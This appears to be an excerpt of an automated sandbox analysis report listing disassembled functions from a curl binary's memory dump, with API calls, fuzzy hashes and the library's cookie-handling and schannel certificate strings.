Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: no transfer performed
API String ID: 0-1612002148
Opcode ID: 8d9a072ae1e28e73ef23452f35bcd2e7cc611eb4e030fdf57ff5bc8ea71a521d
Instruction ID: 81da56a887ba735bd1b5fdea3605400de4c9f6e1480e7d91577daa10d60b50b1
Opcode Fuzzy Hash: 8d9a072ae1e28e73ef23452f35bcd2e7cc611eb4e030fdf57ff5bc8ea71a521d
Instruction Fuzzy Hash: 8031E3B2D0061A6BCB26DAB89496BBD77B4FB44734F1702A9D885E7389DA31DD048780

Function 0087F472 Relevance: 3.1, APIs: 2, Instructions: 91networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 0087F530
ioctlsocket.WS2_32(?,8004667E,?), ref: 0087F566

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ioctlsocketsocket
String ID:
API String ID: 416004797-0
Opcode ID: b410962e8271fa6089fcd8c1aad4006bf85905ebe813e0f39b4091e2844ecbd8
Instruction ID: db2ca6201a3d24fe6236e10e703f85a13b883a5a8e05d62c598bcce18aeec661
Opcode Fuzzy Hash: b410962e8271fa6089fcd8c1aad4006bf85905ebe813e0f39b4091e2844ecbd8
Instruction Fuzzy Hash: 57315771A00615DFDB24DF29D884BAABBE2FF08314F1085A9E55ED7252D731E884CF40

Function 0087D482 Relevance: 3.1, APIs: 2, Instructions: 77networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087D52F
recv.WS2_32(?,?,?,00000000), ref: 0087D56C

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: mallocrecv
String ID:
API String ID: 410377367-0
Opcode ID: ea265fdd9c8b8561dc6a80215a2014486f634520ce9991826757dc0273b23b09
Instruction ID: 0ec46595093f31b70718ef92dd273337ff52ab4afea4db5ccea54b9d6c703fd6
Opcode Fuzzy Hash: ea265fdd9c8b8561dc6a80215a2014486f634520ce9991826757dc0273b23b09
Instruction Fuzzy Hash: 9C318071A05706ABDB169E2CD8857F5B7B4FF44339F784729A85CC72A8D730A824C680

Function 00881E1F Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881E6B

Strings

Closing connection %ld, xrefs: 00881E29

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: Closing connection %ld
API String ID: 1294909896-1512264877
Opcode ID: ba60b733a99ed5264231623be550fc61ae6d2f99470fb372d062c024bd4d5763
Instruction ID: a29fbb031abb1d95ad1473291051ecc8fb89b74a167b64b77d8178dae17817aa
Opcode Fuzzy Hash: ba60b733a99ed5264231623be550fc61ae6d2f99470fb372d062c024bd4d5763
Instruction Fuzzy Hash: A3216F317005019BD748AA2D9C89BAAF3EAFF84750F244539E919CB3A6CF75EC418790

Function 0086E08F Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00001000,?,00000000,00000000,00000000,?,0086DD03,?), ref: 0086E0C0
___from_strstr_to_strchr.LIBCMT ref: 0086E0FB

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrfgets
String ID:
API String ID: 4248516992-0
Opcode ID: 22a3ae4cfe696d62a2089f0477a3e36345266ee5ed53d41fe92d781d5614a6d5
Instruction ID: 42575721efa294475212dffeda118eab37d8e10d13c3461fff4aafc21be77be1
Opcode Fuzzy Hash: 22a3ae4cfe696d62a2089f0477a3e36345266ee5ed53d41fe92d781d5614a6d5
Instruction Fuzzy Hash: 4D118C396043069BDB148F28CC01BE9B3E8FF0A305F10409DD285D3241DAB0AA849B51

Function 008721C0 Relevance: 3.0, APIs: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(00000000,?,00868EF6), ref: 00872208
WSACleanup.WS2_32 ref: 00872227

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CleanupFreeLibrary
String ID:
API String ID: 470324515-0
Opcode ID: 6544e31f9d397f1b4a95b904e8299a851eb3667905ccec011e39a8ed30226d91
Instruction ID: 99aa50cfb28675eacf2bf72d39c91920875915a0bd9a5d620f0cef1f537fa324
Opcode Fuzzy Hash: 6544e31f9d397f1b4a95b904e8299a851eb3667905ccec011e39a8ed30226d91
Instruction Fuzzy Hash: 10F017726216408BF725AF28ED48F693BFAFB09316F584069E708C65A7C774D840CF62

Function 008B131D Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 008B167B: GetModuleHandleW.KERNEL32(00000000,008B12E6), ref: 008B167D

_c_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 008B132F
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000007,008CD000,00000014), ref: 008B135E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: HandleModule_c_exit_exit
String ID:
API String ID: 750871209-0
Opcode ID: 3c1777749d1cee31703bb350baeb5762b3e2989e4a6dd223fce7200e68ead2c0
Instruction ID: 6129d89affa54c2a0960122b8c6be08f8d8819f89d7d8d38770cd2e918753b31
Opcode Fuzzy Hash: 3c1777749d1cee31703bb350baeb5762b3e2989e4a6dd223fce7200e68ead2c0
Instruction Fuzzy Hash: EDE0867190424D8FCF219B98D9063DCB7B1FB45324F140159D811BB791D73919018691

Function 0088E990 Relevance: 3.0, APIs: 2, Instructions: 19networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000017,00000002,00000000), ref: 0088E9A6
closesocket.WS2_32(00000000), ref: 0088E9B2

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: closesocketsocket
String ID:
API String ID: 2760038618-0
Opcode ID: d5aa4005215b48e97cc7790e5ec030a87ef7823f9aac703b171f1bd091158f7f
Instruction ID: f088c0eb93740e7f1b1e4f32ac45a79e5451a76142ab289af4b467fa6547d431
Opcode Fuzzy Hash: d5aa4005215b48e97cc7790e5ec030a87ef7823f9aac703b171f1bd091158f7f
Instruction Fuzzy Hash: A1D0A7742466049FDE206B744C9DFAA3F59BB01326F5467B4F866CB2E1C3A18C13A720

Function 0087F3FC Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00881EF4), ref: 0087F433

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 75aa9e22192b8ed53861daf1fe9cc595f50cdab3c79d4e71ba2b64cdb0062cdb
Instruction ID: 59045c17fa989de5dac32bd00f99bafc8bb09f112dc1102d75eb0ae586be95fb
Opcode Fuzzy Hash: 75aa9e22192b8ed53861daf1fe9cc595f50cdab3c79d4e71ba2b64cdb0062cdb
Instruction Fuzzy Hash: 5201A2316046148BC7256B39988976FB7D6FF88314F08813DE54ED3255CA75EC4582D6

Function 00870B16 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

_open.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000100,00000180,?,00862077,?,00008501,00000180), ref: 00870B2D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _open
String ID:
API String ID: 4183159743-0
Opcode ID: b18056c5b9e2add19f108bd2fdb1f1f9edbe4bc4e7282008e8587c5e26a6099e
Instruction ID: 5c2a4522815475d0d5bf8e65c644b751973878e72716a2947ae6f1b141c9686f
Opcode Fuzzy Hash: b18056c5b9e2add19f108bd2fdb1f1f9edbe4bc4e7282008e8587c5e26a6099e
Instruction Fuzzy Hash: 2CD0123100020DABCF014F64EC05A9A3BE8BF48354F04C014FD2C84120D771D974AF40

Function 008631C0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetConsoleMode.KERNELBASE(008631F4), ref: 008631D9

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: f391d0eadffdeb1da255269bd091ee31617e33c96eeaf1181f87b9b199b0ea45
Instruction ID: 39927d353f5b2537979d83b12b723bf0c1a6cc92faa7211442b67d3c75aaefe0
Opcode Fuzzy Hash: f391d0eadffdeb1da255269bd091ee31617e33c96eeaf1181f87b9b199b0ea45
Instruction Fuzzy Hash: 92C04830201602AFEF03CF78AD18A283AB3FB4A3063010078E725C5276EE32C912DB50

Function 00894ED8 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(00000000,00872221,?,00868EF6), ref: 00894EE2

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 682866d55a0bee86f1e18bb0b41cc77b3f02fb488e688e9310b0f7e1cf5e5323
Instruction ID: f6721a4762c027445ffcf1824f705a96a3a0bedebc5cb6954d27071d9eac9451
Opcode Fuzzy Hash: 682866d55a0bee86f1e18bb0b41cc77b3f02fb488e688e9310b0f7e1cf5e5323
Instruction Fuzzy Hash: 55C04C75510A828FFB109F28EC08F1633B5F700767F444564B301C1462D7788405CA10

Function 0088D032 Relevance: 1.3, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0088D06B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 29e133beb5cdb9633e1457069bffdcbb6da9ac54e5681a98c35616c2eed7b53d
Instruction ID: e9905cb0a8c83394a585239551ef3ea4fefb58a1edb36191f6f04bf27c8cfcd9
Opcode Fuzzy Hash: 29e133beb5cdb9633e1457069bffdcbb6da9ac54e5681a98c35616c2eed7b53d
Instruction Fuzzy Hash: 7FF05E32700B129BD7149F28E884759B3B5FB44761F25412AE810C3681CB79A9518BE5

Function 00877B5D Relevance: 1.3, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00877B80

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 9c4e14a95bd1829e2e676cab32383680e0dec0cbbfae7ba63704bbeb6ee09fe7
Instruction ID: c4b975bb27902bca61852d05231dc2d7087bcc51909d491684a8c45080bf26b5
Opcode Fuzzy Hash: 9c4e14a95bd1829e2e676cab32383680e0dec0cbbfae7ba63704bbeb6ee09fe7
Instruction Fuzzy Hash: E4E0867270D5159EF7048B28FC00B99B7D9FB94720F004137D118C3148DBB0A8418A90

Non-executed Functions

Function 0087FAEC Relevance: 102.7, APIs: 34, Strings: 24, Instructions: 1200stringCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,?,00000000,00000000,?,008809DF,?,00000001,0000000C,00000000,00000000,00000001), ref: 0087FB30
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087FB5E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087FBA1
___from_strstr_to_strchr.LIBCMT ref: 0087FBAC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(__Secure-,0000005F,00000009), ref: 0087FD02
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(__Host-,?,00000007), ref: 0087FD23
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087FE2F
___from_strstr_to_strchr.LIBCMT ref: 0087FE73
___from_strstr_to_strchr.LIBCMT ref: 0087FFC8
___from_strstr_to_strchr.LIBCMT ref: 0087FFE5
___from_strstr_to_strchr.LIBCMT ref: 0088012C
_strrchr.LIBCMT ref: 0088013A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088016E
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,#HttpOnly_,0000000A), ref: 008801D0
___from_strstr_to_strchr.LIBCMT ref: 008801F0
___from_strstr_to_strchr.LIBCMT ref: 00880201
___from_strstr_to_strchr.LIBCMT ref: 00880610
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008806CC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008806E0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008806F4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00880708
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088071C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00880730
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00880744
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00880758
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00880778

Part of subcall function 0087F9D3: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F9EA

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088086B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008808DD
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00001000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0088093F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088096E
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00880992
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00001000,?,?,?,?,?,?,?,?,?,?,00000000,?,?,0088126F), ref: 00880A02
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00880A14

Strings

secure, xrefs: 0087FD98
TRUE, xrefs: 00880235, 00880299, 00880309, 008803B5, 0088046F
%4095[^;=] =%4095[^;], xrefs: 0087FBE8
none, xrefs: 00880880, 00880892
skipped cookie with bad tailmatch domain: %s, xrefs: 0087FF16
Replaced, xrefs: 008807B1, 008807C5
localhost, xrefs: 0087FE60
FALSE, xrefs: 0088034F
httponly, xrefs: 0087FDD0
version, xrefs: 0087FF38
WARNING: failed to open cookie file "%s", xrefs: 00880906
_, xrefs: 0087FCE2
oversized cookie dropped, name/val %zu + %zu bytes, xrefs: 00880057
=, xrefs: 0087FDE9
#HttpOnly_, xrefs: 008801CA
__Secure-, xrefs: 0087FCFD, 008802E1
__Host-, xrefs: 0087FD1E, 008802FF
domain, xrefs: 0087FE48
path, xrefs: 0087FDFC
max-age, xrefs: 0087FF5C
Added, xrefs: 008807A9
_, xrefs: 0087FCEB
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 008807C6
expires, xrefs: 0087FF80

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$___from_strstr_to_strchr$strncmp$callocfclosemalloc$__acrt_iob_func_strrchr_time64
String ID: #HttpOnly_$%4095[^;=] =%4095[^;]$%s cookie %s="%s" for domain %s, path %s, expire %I64d$=$Added$FALSE$Replaced$TRUE$WARNING: failed to open cookie file "%s"$_$_$__Host-$__Secure-$domain$expires$httponly$localhost$max-age$none$oversized cookie dropped, name/val %zu + %zu bytes$path$secure$skipped cookie with bad tailmatch domain: %s$version
API String ID: 2930520296-3004133991
Opcode ID: 11815f685764a12fa21ac2bfb5fc3d042f7a2d098e464efc3c5de7ad5d464098
Instruction ID: c87b8cfb13c93875ad9d80fd2b7f567895f1ea49d4f43b398e949ab0ef75ad6a
Opcode Fuzzy Hash: 11815f685764a12fa21ac2bfb5fc3d042f7a2d098e464efc3c5de7ad5d464098
Instruction Fuzzy Hash: 9B926431A0475A8FEB25AF299C547A97BA1FF05310F1881BAD949D7283DB70DC88CF91

Function 008A3EA4 Relevance: 82.7, APIs: 34, Strings: 13, Instructions: 494encryptionfileCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 008A3FA5

Part of subcall function 008A3BB5: _mbschr.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,0000005C), ref: 008A3BC3
Part of subcall function 008A3BB5: _mbsnbcmp.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,CurrentUser,00000000), ref: 008A3BE1
Part of subcall function 008A3BB5: _mbschr.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,0000005C), ref: 008A3CC8

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B8DD4), ref: 008A3FF1
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008A4092
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000002), ref: 008A40AD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008A40CA
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,00000001,00000000), ref: 008A40F3
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008A4109
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A4140
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000000), ref: 008A4161
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A418D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A41F4
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(0000FDE9,00000008,?,00000000,00000000,00000001), ref: 008A4214
PFXImportCertStore.CRYPT32(?,00000000,00000000), ref: 008A422D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A4244
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A427E
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008A4285
CertFindCertificateInStore.CRYPT32(?,00010001,00000000,00000000,00000000,00000000), ref: 008A42CF
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008A42E3
CertCloseStore.CRYPT32(?,00000000), ref: 008A4301
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008A4321
CertOpenStore.CRYPT32(00000009,00000000,00000000,?,?), ref: 008A4345
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008A4355
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A4380
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008A438C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A43A6
CryptStringToBinaryA.CRYPT32(?,00000028,00000004,?,00000014), ref: 008A43D5
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008A43E4
CertFindCertificateInStore.CRYPT32(?,00010001,00000000,00010000,00000014,00000000), ref: 008A4415
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008A4426
CertCloseStore.CRYPT32(?), ref: 008A4456
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008A4470
CertFreeCertificateContext.CRYPT32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008A449C
CertFreeCertificateContext.CRYPT32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008A44EC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A452A

Strings

schannel: unable to allocate memory, xrefs: 008A4480
schannel: Failed to get certificate location or file for %s, xrefs: 008A4312
schannel: Failed to get certificate from file %s, last error is 0x%x, xrefs: 008A42F0
Unable to set ciphers to passed via SSL_CONN_CONFIG, xrefs: 008A3F29
schannel: Failed to open cert store %x %s, last error is 0x%x, xrefs: 008A4363
(memory blob), xrefs: 008A402B, 008A4038, 008A4075
schannel: certificate format compatibility error for %s, xrefs: 008A4039
schannel: Failed to import cert file %s, password is bad, xrefs: 008A4296
schannel: Failed to read cert file %s, xrefs: 008A4123
Microsoft Unified Security Protocol Provider, xrefs: 008A44C8
schannel: Failed to import cert file %s, last error is 0x%x, xrefs: 008A42B0
P12, xrefs: 008A4017
schannel: AcquireCredentialsHandle failed: %s, xrefs: 008A4506

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$Cert$Store$Certificate$ErrorLast$CloseContextFindFree_mbschrfseekmalloc$BinaryByteCharCryptImportMultiOpenStringWide_mbsnbcmp_strdupcallocfclosefopenfreadftell
